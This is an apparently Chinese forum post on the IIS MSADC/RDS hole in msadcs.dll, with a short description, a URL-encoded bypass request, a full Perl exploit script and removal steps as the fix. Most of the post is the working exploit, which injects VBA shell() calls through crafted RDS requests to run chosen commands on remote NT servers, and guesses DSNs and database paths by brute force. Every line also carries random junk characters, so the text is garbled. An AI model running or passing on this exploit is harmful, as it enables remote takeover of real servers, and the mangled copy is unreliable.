IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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hF 3 }hJ`xQ 涉及程序：
x)GpNkx: Microsoft NT server
GP<PU CvkZ<i){ 描述：
b%A +k"d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
0K T^ V R meJ%mY 详细：
Pnl+.? 如果你没有时间读详细内容的话，就删除:
xs?Ska,N c:\Program Files\Common Files\System\Msadc\msadcs.dll
Qze.1h 有关的安全问题就没有了。
3&`LVhx fD :BKJQ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
-?%81 z.Qq d0U-:S- 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Tew ?e&eO 关于利用ODBC远程漏洞的描述，请参看:
r8%"#<]/ WtS5i7:<Y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X?f\j" v \P~ h0zg? 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\%BII>VS http://www.microsoft.com/security/bulletins/MS99-025faq.asp m-u3 ^\' :LrB9Cf$ n 这里不再论述。
F .h A.E v=8sj{g3,3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
tleWJR8oc "@ 1+l& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FW=`Fm@z%% 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Nl$b ;~ u r{mj[N'@ }+]
l_! v* #将下面这段保存为txt文件，然后: "perl -x 文件名"
X 5_T? ^]n:/kZ5"[ #!perl
H"5=z7w #
2-$O$&s. # MSADC/RDS 'usage' (aka exploit) script
X^o 0t^
#
y\?NB:=% # by rain.forest.puppy
z*,J0)<Q #
A r,fmq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
'LX]/ D # beta test and find errors!
b%wm-p +Z7:(o< use Socket; use Getopt::Std;
\0fS;Q^{j getopts("e:vd:h:XR", \%args);
15J t
@{<r }ebu@)r print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
" rVf{ X:2)C -l? if (!defined $args{h} && !defined $args{R}) {
BWF >;*Xro print qq~
!FA[
]d 4 Usage: msadc.pl -h <host> { -d <delay> -X -v }
-4Hf5 ! -h <host> = host you want to scan (ip or domain)
2QIx~Er -d <seconds> = delay between calls, default 1 second
Ci9]#)"c -X = dump Index Server path table, if available
K3dg.>O -v = verbose
WzhY4"p -e = external dictionary file for step 5
rK~O bv IeN~ E'~ Or a -R will resume a command session
)= TS )C4 2I$-&c ] ~; exit;}
O=
84ZP% }Gf9.ACQ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
89Ch'D if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
)dh_eqnX if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}}b &IA# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+wIv|zj9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[cso$Tv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6^vz+oN ~{cG" if (!defined $args{R}){ $ret = &has_msadc;
>xCc#]v& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
AFdBf6/" i 8, " 5z_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n?mV(? N . "cmd /c ";
9f #6Q*/ $in=<STDIN>; chomp $in;
4Ai#$SHLm $command="cmd /c " . $in ;
Lj2Au_5 zvOSQxGQ if (defined $args{R}) {&load; exit;}
+ 'V ,z ] @A31P4t| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}cO}H 2m &try_btcustmr;
~0V ,B1a |% $mN{ print "\nStep 2: Trying to make our own DSN...";
GUcGu5tw: &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
x5(B(V@b AQgagE^ print "\nStep 3: Trying known DSNs...";
uRnSwJ"hE &known_dsn;
hZtJ LY 5: vy_e& print "\nStep 4: Trying known .mdbs...";
fI }v}L^ &known_mdb;
i%#
<Hi7 ,M0#?j> if (defined $args{e}){
Oi4y~C_Xd print "\nStep 5: Trying dictionary of DSN names...";
4l? "zv1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^3lEfI<pBm u.ub: print "Sorry Charley...maybe next time?\n";
Yq0j w&v
exit;
T :0#se QLDld[ ##############################################################################
a&C }' e" X;QhK] Z sub sendraw { # ripped and modded from whisker
->*'Y;t4 sleep($delay); # it's a DoS on the server! At least on mine...
&BE'~G my ($pstr)=@_;
4h$W4NJK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7q@>d( xho die("Socket problems\n");
XAb-K?) if(connect(S,pack "SnA4x8",2,80,$target)){
)^]1j$N=3 select(S); $|=1;
u Tvck6 print $pstr; my @in=<S>;
Af X lV-v select(STDOUT); close(S);
vN$j @h . return @in;
&uLC{I k} } else { die("Can't connect...\n"); }}
Zd <8c^@ fBZR ##############################################################################
L9^h . Y7 V[fcP; sub make_header { # make the HTTP request
]#P>wW my $msadc=<<EOT
Q|Go7MQZ@k POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<~iA{sY)O User-Agent: ACTIVEDATA
=x-@-\m Host: $ip
50HRgoP5Y Content-Length: $clen
J`[He$7) Connection: Keep-Alive
I3" GGp3L tish%Qnpd ADCClientVersion:01.06
|P`: NAf2 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:M9 E ,+o*>fD --!ADM!ROX!YOUR!WORLD!
TW!>~|U)y Content-Type: application/x-varg
%Kc 2n9W Content-Length: $reqlen
{i| $^A3 b$/ 'dnx EOT
hM~zO1XW ; $msadc=~s/\n/\r\n/g;
gQlL0jAV return $msadc;}
0k 6S`e9gI >?) Df(n(9 ##############################################################################
jCxg)D7W R^= [D#*]> sub make_req { # make the RDS request
uBA84r%{QQ my ($switch, $p1, $p2)=@_;
f+>g_Q my $req=""; my $t1, $t2, $query, $dsn;
Uv%?z0F<C 3!2TE - if ($switch==1){ # this is the btcustmr.mdb query
xAJuIR1Hi $query="Select * from Customers where City=" . make_shell();
E;Q
,{{# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
b&xlT+GN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
D9-D%R, D/TEx2.=J3 elsif ($switch==2){ # this is general make table query
G;yh$n<" $query="create table AZZ (B int, C varchar(10))";
+ 5oK91o[y $dsn="$p1";}
bqSp4TI xZ( f_Oy elsif ($switch==3){ # this is general exploit table query
&C6Z{.3V $query="select * from AZZ where C=" . make_shell();
\zv?r :1t $dsn="$p1";}
d!#qBn$*[ Gb_y"rx?0 elsif ($switch==4){ # attempt to hork file info from index server
m+'vrxTY $query="select path from scope()";
!)+8:8H' $dsn="Provider=MSIDXS;";}
6rg?0\A< KQ2jeJ/pj elsif ($switch==5){ # bad query
'.1_anE] $query="select";
~"8)9& $dsn="$p1";}
A-5'OI * v W#XDx $t1= make_unicode($query);
yp\s Jc` $t2= make_unicode($dsn);
Y/Q/4+ $req = "\x02\x00\x03\x00";
uBqZ62{G $req.= "\x08\x00" . pack ("S1", length($t1));
VtzX I2.2 $req.= "\x00\x00" . $t1 ;
!/wR[`s9w $req.= "\x08\x00" . pack ("S1", length($t2));
E'wJ+X9 + $req.= "\x00\x00" . $t2 ;
:y8wv|m $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
= 6^phZ( return $req;}
3e7P
w`gLl fL R\@f ##############################################################################
iz5WWn^ tC4 7P [b sub make_shell { # this makes the shell() statement
C">w3#M% return "'|shell(\"$command\")|'";}
a[A9(Ftn EH~XN9 b ##############################################################################
-9> oB CH4 ~9mmE sub make_unicode { # quick little function to convert to unicode
Y!nxHRE my ($in)=@_; my $out;
! C|VX,w for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
gy6P f4Yo return $out;}
t-3y`31i. k.("<) ##############################################################################
*9I/h~I fsH = 2p sub rdo_success { # checks for RDO return success (this is kludge)
z-;2) RkV2 my (@in) = @_; my $base=content_start(@in);
k CVA~ %d7 if($in[$base]=~/multipart\/mixed/){
<yz&>
+9, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jk-e/C return 0;}
CF_pIfbaf nc Cgc5uP ##############################################################################
OjRJyhzS* Fg<rz&MR sub make_dsn { # this makes a DSN for us
UqE peLK my @drives=("c","d","e","f");
:qL1jnR^ print "\nMaking DSN: ";
_pe_w{V-b6 foreach $drive (@drives) {
+*vg) F: print "$drive: ";
X Lxr@1 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xv:VW< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
V detY\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0Z<&M |G $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y8|?J \eRy return 0 if $2 eq "404"; # not found/doesn't exist
KOHYeiry~A if($2 eq "200") {
U f <hzP foreach $line (@results) {
{ B,r return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]v,>!~8r } return 0;}
}vspjplk^ %jnSJjcq ##############################################################################
csNB
\ [K4wd%+ sub verify_exists {
afNqK~ my ($page)=@_;
L] ce13K my @results=sendraw("GET $page HTTP/1.0\n\n");
w\QMA3 return $results[0];}
y1@*)|
r Vp~c$y+ ##############################################################################
OPP^n-iPr $bd2TVNV: sub try_btcustmr {
[/iT D=O, my @drives=("c","d","e","f");
P}RewMJ$L my @dirs=("winnt","winnt35","winnt351","win","windows");
@.SuHd 1w/Ur'8we foreach $dir (@dirs) {
ne (zGJ d print "$dir -> "; # fun status so you can see progress
hEv}g foreach $drive (@drives) {
D<:J6W7] print "$drive: "; # ditto
AQ`
`Dp $reqlen=length( make_req(1,$drive,$dir) ) - 28;
jDwLzvM O $reqlenlen=length( "$reqlen" );
3HI- G.]hC $clen= 206 + $reqlenlen + $reqlen;
32KL~32Y UoSzxL my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i9 Tq h if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
W`2 Xn?g else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y&JK* d V.U9Q{y" ##############################################################################
rjLPX ;%_s4 sub odbc_error {
F:B 8J4/ my (@in)=@_; my $base;
P/hV{@x my $base = content_start(@in);
@f z!]/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
qPI1\!z6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h.ln%6:d $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[;n/|/m, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r( Vz( return $in[$base+4].$in[$base+5].$in[$base+6];}
(yB)rBh>n print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
xG|T_|? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
_ I1:|y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
A;\1`_i0 quGv q"Y> ##############################################################################
~R!M.gY[rK SWpvbs.'so sub verbose {
]#*S. r] my ($in)=@_;
2\/,X CQV return if !$verbose;
5gZ6H/. print STDOUT "\n$in\n";}
]:X# w0UR Tb@r@j:V ##############################################################################
IqW4Q1>f Jv+N/+M47 sub save {
yy*8Aw} my ($p1, $p2, $p3, $p4)=@_;
1O{(9nNj open(OUT, ">rds.save") || print "Problem saving parameters...\n";
xS>d$)rIj print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2uln)] close OUT;}
7yM "G $ |2t1m 6\j ##############################################################################
D{) K00mm X {YY)}^ sub load {
, A@uSfC( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o6 l CP& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fC7rs 5 @p=<IN>; close(IN);
$t{;- DpNB $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
: fx^{N!T $target= inet_aton($ip) || die("inet_aton problems");
7}r6mr0vpm print "Resuming to $ip ...";
8uq`^l%KkZ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W7PL]5y& if($p[1]==1) {
=}1)/gcM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}#Gq*^w $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
EpsjaOmAF my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,^K}_z\9f if (rdo_success(@results)){print "Success!\n";}
"AcC\iq else { print "failed\n"; verbose(odbc_error(@results));}}
suF<VJ)&s elsif ($p[1]==3){
](2\w9i% if(run_query("$p[3]")){
L)qDtXd 4 print "Success!\n";} else { print "failed\n"; }}
$]`rWSYtv` elsif ($p[1]==4){
R|u2ga ~ if(run_query($drvst . "$p[3]")){
c`E0sgp print "Success!\n"; } else { print "failed\n"; }}
YQ7\99tj exit;}
P]mJ01@' TEN~3 Ef# ##############################################################################
}gR!]Cs)^ 6 18k- sub create_table {
, R;k>'. my ($in)=@_;
:Q-QY)hH $reqlen=length( make_req(2,$in,"") ) - 28;
=Sp+$:q* $reqlenlen=length( "$reqlen" );
FBP'AL| $clen= 206 + $reqlenlen + $reqlen;
t3(~aH my @results=sendraw(make_header() . make_req(2,$in,""));
JLn)U4>z w return 1 if rdo_success(@results);
BV-(`#~:y my $temp= odbc_error(@results); verbose($temp);
V =cJdF return 1 if $temp=~/Table 'AZZ' already exists/;
s'4%ZE2Dr return 0;}
Zk:_Yiki& qvs&*lBY ##############################################################################
> f*-9 "pInb5F sub known_dsn {
lh`ZEvt # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
nQar yL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ZR8%h< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
h7a/]~ "banner", "banners", "ads", "ADCDemo", "ADCTest");
W Z6'"Cz` 5 !Ho[ foreach $dSn (@dsns) {
pAtt=R,Ht print ".";
!(8) '<t9 next if (!is_access("DSN=$dSn"));
IDK~
(t if(create_table("DSN=$dSn")){
#Y%(CI print "$dSn successful\n";
$No^\.mV if(run_query("DSN=$dSn")){
_fM=J+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f>zd,|)At print "Something's borked. Use verbose next time\n";}}} print "\n";}
UY}EW`$#m \TS.9 > \ ##############################################################################
/)*si 0 H0U%x8 sub is_access {
i* jnC> my ($in)=@_;
'(fzznRH $reqlen=length( make_req(5,$in,"") ) - 28;
"%rzL.</ $reqlenlen=length( "$reqlen" );
w/, A@fLL $clen= 206 + $reqlenlen + $reqlen;
8I]rC<O6: my @results=sendraw(make_header() . make_req(5,$in,""));
VoC|z Rd_ my $temp= odbc_error(@results);
6c[Slq!KA verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ZU68\c L return 0;}
Q79WGW 8Joj KH ##############################################################################
9l<}`/@}W }Dx5W9Ri" sub run_query {
fJK;[*&Y my ($in)=@_;
#9rCF 3P $reqlen=length( make_req(3,$in,"") ) - 28;
#B6$ r/% $reqlenlen=length( "$reqlen" );
+#Ga} e CM $clen= 206 + $reqlenlen + $reqlen;
KSve_CBOh my @results=sendraw(make_header() . make_req(3,$in,""));
ufB9\yl{~ return 1 if rdo_success(@results);
2UeK%-~W? my $temp= odbc_error(@results); verbose($temp);
= J0r,d R return 0;}
2=
) V"lR\ J 7HOSFwXn ##############################################################################
95.s, '0 eHc.#OA& sub known_mdb {
<~hx ~"c my @drives=("c","d","e","f","g");
3U9leY'2N my @dirs=("winnt","winnt35","winnt351","win","windows");
L~!Lq4]V\g my $dir, $drive, $mdb;
0
} |21YED my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(YY!e2 Z jn![ # this is sparse, because I don't know of many
(vPE?^}b my @sysmdbs=( "\\catroot\\icatalog.mdb",
z0 J:"M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
FvyC$vip "\\system32\\certmdb.mdb",
'NN3XyD "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
xzb{g,c T!1Np'12zF my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
c?}{>ig/) "\\cfusion\\cfapps\\forums\\forums_.mdb",
i;<K)5Z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
1Gw_S?$7 "\\cfusion\\cfapps\\security\\realm_.mdb",
G 7k.YtW "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bW2Msv/H "\\cfusion\\database\\cfexamples.mdb",
]T>|Y 0 | "\\cfusion\\database\\cfsnippets.mdb",
c|F2 6$rv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{ 4B7a6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
')Qb,#/,% "\\cfusion\\brighttiger\\database\\cleam.mdb",
7,3 g{8 "\\cfusion\\database\\smpolicy.mdb",
e/Y& d9`
I "\\cfusion\\database\cypress.mdb",
F$HL \y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(G 9Ku 8Y "\\website\\cgi-win\\dbsample.mdb",
yPk s ,7U "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
1>)uI@?Rb "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Q(BM0n)f ); #these are just
$%z M Z foreach $drive (@drives) {
BWLeitS/ foreach $dir (@dirs){
7!A3PDAe foreach $mdb (@sysmdbs) {
6)1xjE# print ".";
.#_g.0< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
uz@ lz + print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
4`p[t;q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
s@K #M print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
o RHWb_$" } else { print "Something's borked. Use verbose next time\n"; }}}}}
c HUj6'neO Tl
S 904' foreach $drive (@drives) {
N#8$pE foreach $mdb (@mdbs) {
+K61-Div print ".";
7,ffY/ if(create_table($drv . $drive . $dir . $mdb)){
*]e 9/f print "\n" . $drive . $dir . $mdb . " successful\n";
`r+`vJ$ if(run_query($drv . $drive . $dir . $mdb)){
TB#oauJm, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
p;rT#R&6> } else { print "Something's borked. Use verbose next time\n"; }}}}
Eo Owu-{ }
;|.IUXEgcF V&>mD"~MP ##############################################################################
"FXT8Qx g '_%`0p1 sub hork_idx {
=%0r_#F%= print "\nAttempting to dump Index Server tables...\n";
3M[5_OK print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
rlSflcK\\( $reqlen=length( make_req(4,"","") ) - 28;
|c:xK{Ik $reqlenlen=length( "$reqlen" );
N=;VS- $clen= 206 + $reqlenlen + $reqlen;
N Bpf my @results=sendraw2(make_header() . make_req(4,"",""));
$jN,] N~ if (rdo_success(@results)){
F17nWvF my $max=@results; my $c; my %d;
=Cp}iM for($c=19; $c<$max; $c++){
F2Co Xe7 $results[$c]=~s/\x00//g;
NplkhgSj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
W_ubgCB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
7_]Bu<{f $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
?& "!, $d{"$1$2"}="";}
(\ Gs7 foreach $c (keys %d){ print "$c\n"; }
^vr`t9EE } else {print "Index server doesn't seem to be installed.\n"; }}
> 72qi* 0 N}7tjk ##############################################################################
22 "/| S u|8yV.=R sub dsn_dict {
S@vLh=65 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
BCw 0kq@ while(<IN>){
<'<{|$Pw $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
y0cB@pWp next if (!is_access("DSN=$dSn"));
-\ ~D6OA if(create_table("DSN=$dSn")){
oWdvpvO print "$dSn successful\n";
zP#%ya :I if(run_query("DSN=$dSn")){
1}jwv_0lL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&g5+ |g ( print "Something's borked. Use verbose next time\n";}}}
y%xn(Bn print "\n"; close(IN);}
dS"%( ?o P[a\Q`}L ##############################################################################
{9YNv<3 }~$96|J sub sendraw2 { # ripped and modded from whisker
N TL`9b sleep($delay); # it's a DoS on the server! At least on mine...
( ZHEPN my ($pstr)=@_;
i>L>3]SRr{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VD- 2{em die("Socket problems\n");
($ Y6hn+ if(connect(S,pack "SnA4x8",2,80,$target)){
a%)-iL
X8& print "Connected. Getting data";
Dv[ 35[Yh open(OUT,">raw.out"); my @in;
t"]~e " select(S); $|=1; print $pstr;
%2TjG while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U#1 ,]a\ close(OUT); select(STDOUT); close(S); return @in;
f
iu?mb=* } else { die("Can't connect...\n"); }}
'U3+'du^8 w65D;9/; ##############################################################################
3* $)9'
i;8tA ! sub content_start { # this will take in the server headers
)gP0+W!u my (@in)=@_; my $c;
Z}4
`y"By for ($c=1;$c<500;$c++) {
4O** %!| if($in[$c] =~/^\x0d\x0a/){
[G[|auKF if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Xhx COpO else { return $c+1; }}}
ay,E! G&H return -1;} # it should never get here actually
s7}46\/U -P|st;?# ##############################################################################
6zJfsKf$ -VlXZj@u+ sub funky {
isR|K9qf^ my (@in)=@_; my $error=odbc_error(@in);
'{xPdN if($error=~/ADO could not find the specified provider/){
#iAEcC0k5 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Wf>scl `s exit;}
h$~ \to$C if($error=~/A Handler is required/){
?\NWK p print "\nServer has custom handler filters (they most likely are patched)\n";
#Jqa_$\. exit;}
Q`7.-di if($error=~/specified Handler has denied Access/){
?O <D&CvB print "\nServer has custom handler filters (they most likely are patched)\n";
cN\Fgbt exit;}}
{expx<+4F QSq0{ ##############################################################################
Z/hgr|&} \,5OPSB sub has_msadc {
{ |[n>k my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
aZ{]t:] my $base=content_start(@results);
k(.6K[ b return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
dCkk5&2n return 0;}
PhOtSml 0 2[qlEtvQ ########################
+*aZ9g d~U }IM j x[5uz )) 解决方案：
y q2pg8% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
I>( \B| \6 2、移除web 目录: /msadc
